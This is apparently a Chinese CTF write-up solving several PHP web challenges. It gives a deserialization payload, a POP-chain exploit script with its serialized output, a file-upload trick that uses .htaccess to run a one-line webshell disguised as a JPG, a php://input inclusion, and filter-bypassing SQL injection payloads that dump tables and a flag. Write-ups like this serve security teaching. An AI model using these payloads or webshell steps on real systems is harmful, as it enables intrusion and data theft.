<p>Payload：<code>O:6:&quot;HaHaHa&quot;:3:{s:5:&quot;admin&quot;;s:5:&quot;admin&quot;;s:6:&quot;passwd&quot;;s:4:&quot;wllm&quot;;}</code></p>
<h3 id="easyupload30">easyupload3.0<a class="anchor" href="#easyupload30">#</a></h3>
<p>和<code>.htaccess</code>配合，有此文件时会把jpg解析成php文件执行，所以先传一个<code>.htaccess</code>,再把一句话木马改成jpg后缀传上去，蚁剑直接连jpg就行了</p>
<h3 id="pop">pop<a class="anchor" href="#pop">#</a></h3>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="o">&lt;?</span><span class="nx">php</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl">
</span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="nx">error_reporting</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="nx">show_source</span><span class="p">(</span><span class="s2">&#34;index.php&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">
</span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="k">class</span> <span class="nc">w44m</span><span class="p">{</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">    <span class="k">private</span> <span class="nv">$admin</span> <span class="o">=</span> <span class="s1">&#39;aaa&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">    <span class="k">protected</span> <span class="nv">$passwd</span> <span class="o">=</span> <span class="s1">&#39;123456&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl">
</span></span><span class="line"><span class="ln">11</span><span class="cl">    <span class="k">public</span> <span class="k">function</span> <span class="nf">Getflag</span><span class="p">(){</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl">        <span class="k">if</span><span class="p">(</span><span class="nv">$this</span><span class="o">-&gt;</span><span class="na">admin</span> <span class="o">===</span> <span class="s1">&#39;w44m&#39;</span> <span class="o">&amp;&amp;</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">passwd</span> <span class="o">===</span><span class="s1">&#39;08067&#39;</span><span class="p">){</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl">            <span class="k">include</span><span class="p">(</span><span class="s1">&#39;flag.php&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl">            <span class="k">echo</span> <span class="nv">$flag</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl">        <span class="p">}</span><span class="k">else</span><span class="p">{</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl">            <span class="k">echo</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">admin</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">17</span><span class="cl">            <span class="k">echo</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">passwd</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">18</span><span class="cl">            <span class="k">echo</span> <span class="s1">&#39;nono&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">19</span><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="ln">20</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln">21</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln">22</span><span class="cl">
</span></span><span class="line"><span class="ln">23</span><span class="cl"><span class="k">class</span> <span class="nc">w22m</span><span class="p">{</span>
</span></span><span class="line"><span class="ln">24</span><span class="cl">    <span class="k">public</span> <span class="nv">$w00m</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">25</span><span class="cl">    <span class="k">public</span> <span class="k">function</span> <span class="fm">__destruct</span><span class="p">(){</span>
</span></span><span class="line"><span class="ln">26</span><span class="cl">        <span class="k">echo</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">w00m</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">27</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln">28</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln">29</span><span class="cl">
</span></span><span class="line"><span class="ln">30</span><span class="cl"><span class="k">class</span> <span class="nc">w33m</span><span class="p">{</span>
</span></span><span class="line"><span class="ln">31</span><span class="cl">    <span class="k">public</span> <span class="nv">$w00m</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">32</span><span class="cl">    <span class="k">public</span> <span class="nv">$w22m</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">33</span><span class="cl">    <span class="k">public</span> <span class="k">function</span> <span class="fm">__toString</span><span class="p">(){</span>
</span></span><span class="line"><span class="ln">34</span><span class="cl">        <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">w00m</span><span class="o">-&gt;</span><span class="p">{</span><span class="nv">$this</span><span class="o">-&gt;</span><span class="na">w22m</span><span class="p">}();</span>
</span></span><span class="line"><span class="ln">35</span><span class="cl">        <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">36</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln">37</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln">38</span><span class="cl">
</span></span><span class="line"><span class="ln">39</span><span class="cl"><span class="nv">$w00m</span> <span class="o">=</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s1">&#39;w00m&#39;</span><span class="p">];</span>
</span></span><span class="line"><span class="ln">40</span><span class="cl"><span class="nx">unserialize</span><span class="p">(</span><span class="nv">$w00m</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">41</span><span class="cl">
</span></span><span class="line"><span class="ln">42</span><span class="cl"><span class="cp">?&gt;</span><span class="err">
</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">php</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>这题也做了好久，思路是调用GetFlag包含flag.php，怎么调用？这个看起来只有w33m里<code>__toString</code>的<code>$this-&gt;w00m-&gt;{$this-&gt;w22m}();</code>这个写法我还是第一次见。所以我们需要调用toSring，在w22m里有一句<code>echo $this-&gt;w00m;</code>所以把这个类对象的w00m属性定义为w33m的对象即可，之后销毁w44m对象以调用destruct</p>
<p>exp:</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="o">&lt;?</span><span class="nx">php</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl">
</span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="k">class</span> <span class="nc">w44m</span><span class="p">{</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">    <span class="k">private</span> <span class="nv">$admin</span> <span class="o">=</span> <span class="s1">&#39;w44m&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">    <span class="k">protected</span> <span class="nv">$passwd</span> <span class="o">=</span> <span class="s1">&#39;08067&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">
</span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">
</span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="k">class</span> <span class="nc">w22m</span><span class="p">{</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl">    <span class="k">public</span> <span class="nv">$w00m</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl">
</span></span><span class="line"><span class="ln">14</span><span class="cl"><span class="k">class</span> <span class="nc">w33m</span><span class="p">{</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl">    <span class="k">public</span> <span class="nv">$w00m</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl">    <span class="k">public</span> <span class="nv">$w22m</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">17</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln">18</span><span class="cl">
</span></span><span class="line"><span class="ln">19</span><span class="cl"><span class="nv">$a</span><span class="o">=</span><span class="k">new</span> <span class="nx">w44m</span><span class="p">();</span>
</span></span><span class="line"><span class="ln">20</span><span class="cl"><span class="nv">$b</span><span class="o">=</span><span class="k">new</span> <span class="nx">w22m</span><span class="p">();</span>
</span></span><span class="line"><span class="ln">21</span><span class="cl"><span class="nv">$b</span><span class="o">-&gt;</span><span class="na">w00m</span><span class="o">=</span><span class="k">new</span> <span class="nx">w33m</span><span class="p">();</span>
</span></span><span class="line"><span class="ln">22</span><span class="cl"><span class="nv">$b</span><span class="o">-&gt;</span><span class="na">w00m</span><span class="o">-&gt;</span><span class="na">w00m</span><span class="o">=</span><span class="nv">$a</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">23</span><span class="cl"><span class="nv">$b</span><span class="o">-&gt;</span><span class="na">w00m</span><span class="o">-&gt;</span><span class="na">w22m</span><span class="o">=</span><span class="s1">&#39;Getflag&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">24</span><span class="cl"><span class="nx">unset</span><span class="p">(</span><span class="nv">$a</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">25</span><span class="cl"><span class="k">echo</span> <span class="nx">serialize</span><span class="p">(</span><span class="nv">$b</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">26</span><span class="cl">
</span></span><span class="line"><span class="ln">27</span><span class="cl"><span class="cp">?&gt;</span><span class="err">
</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">php</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>注意，由于是受保护的属性，所以要对payload进行处理，<a
  href="https://blog.csdn.net/weixin_45844670/article/details/108171963" rel="nofollow noopener noreferrer" target="_blank"
  >原理在此<span style="user-select:none"> ↗</span></a
>
</p>
<p>注意，生成的反序列化字符串里属性长度比字符串长，<code>%00</code>算1字长，所以长度不用改，只要在最里层类名和属性名前加%00即可，有的类名显示为<code>*</code>不影响</p>
<p>Payload：<code>O:4:&quot;w22m&quot;:1:{s:4:&quot;w00m&quot;;O:4:&quot;w33m&quot;:2:{s:4:&quot;w00m&quot;;O:4:&quot;w44m&quot;:2:{s:11:&quot;%00w44m%00admin&quot;;s:4:&quot;w44m&quot;;s:9:&quot;%00*%00passwd&quot;;s:5:&quot;08067&quot;;}s:4:&quot;w22m&quot;;s:7:&quot;Getflag&quot;;}}</code></p>
<h3 id="pseudoprotocols">PseudoProtocols<a class="anchor" href="#pseudoprotocols">#</a></h3>
<p>题目伪协议，进来让我找hint.ph，直接伪协议读，然后解码，提示在test2222222222222.php</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="o">&lt;?</span><span class="nx">php</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="nx">ini_set</span><span class="p">(</span><span class="s2">&#34;max_execution_time&#34;</span><span class="p">,</span> <span class="s2">&#34;180&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="nx">show_source</span><span class="p">(</span><span class="no">__FILE__</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="k">include</span><span class="p">(</span><span class="s1">&#39;flag.php&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="nv">$a</span><span class="o">=</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s2">&#34;a&#34;</span><span class="p">];</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="k">if</span><span class="p">(</span><span class="nx">isset</span><span class="p">(</span><span class="nv">$a</span><span class="p">)</span><span class="o">&amp;&amp;</span><span class="p">(</span><span class="nx">file_get_contents</span><span class="p">(</span><span class="nv">$a</span><span class="p">,</span><span class="s1">&#39;r&#39;</span><span class="p">))</span> <span class="o">===</span> <span class="s1">&#39;I want flag&#39;</span><span class="p">){</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">    <span class="k">echo</span> <span class="s2">&#34;success</span><span class="se">\n</span><span class="s2">&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">    <span class="k">echo</span> <span class="nv">$flag</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="cp">?&gt;</span><span class="err">
</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">php</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>很多时候做不出来，毫无思路，就是因为知识点储备不够，很多利用点即使你不知道原理会用就好，这题我搜了好久关于<code>file_get_contents</code>的技巧，后来发现这题是利用<code>php://input</code>伪协议，它在<code>file_get_contents</code>里，可以直接利用POST传值，这里直接POST值就行，不用写参数名</p>
<p>注意HackBar在POST传值时，若值是无参数名的好像传不过去，这题我纠结好久不明白全对为啥不出flag，BP抓包发现没有post值，所以遇到无参数名POST传值，最好用BP</p>
<p><img
  src="/077813/swpu_PseudoProtocols.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1523" height="824"
/>
</p>
<h3 id="sql">sql<a class="anchor" href="#sql">#</a></h3>
<p>这题见招拆招，测试后发现单引号包裹，过滤了<code>--+</code>，用<code>%23</code>代替，过滤了空格，用<code>/**/</code>代替，过滤<code>=</code>，用regexp代替</p>
<p><strong>测试列数</strong></p>
<p><img
  src="/077813/swpu_sql_1.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="691" height="382"
/>
</p>
<p>3列正常回显，4列报错，说明只有3列</p>
<p><strong>测试回显点</strong></p>
<p><img
  src="/077813/swpu_sql_2.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="681" height="377"
/>
</p>
<p>2，3位回显</p>
<p><strong>爆库+爆表</strong></p>
<p>Payload：</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-sql" data-lang="sql"><span class="line"><span class="ln">1</span><span class="cl"><span class="o">?</span><span class="n">wllm</span><span class="o">=-</span><span class="mi">1</span><span class="s1">&#39;/**/union/**/select/**/1,database(),(select/**/group_concat(table_name)from/**/information_schema.tables/**/where/**/table_schema/**/regexp&#39;</span><span class="n">test_db</span><span class="s1">&#39;)%23</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">sql</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p><img
  src="/077813/swpu_sql_3.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1810" height="392"
/>
</p>
<p><strong>爆字段+爆数据</strong></p>
<p>Payload：</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-sql" data-lang="sql"><span class="line"><span class="ln">1</span><span class="cl"><span class="o">?</span><span class="n">wllm</span><span class="o">=-</span><span class="mi">1</span><span class="s1">&#39;/**/union/**/select/**/1,(select/**/group_concat(column_name)from/**/information_schema.columns/**/where/**/table_name/**/regexp&#39;</span><span class="n">LTLT_flag</span><span class="s1">&#39;),(select/**/group_concat(flag)from/**/test_db.LTLT_flag)%23</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">sql</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
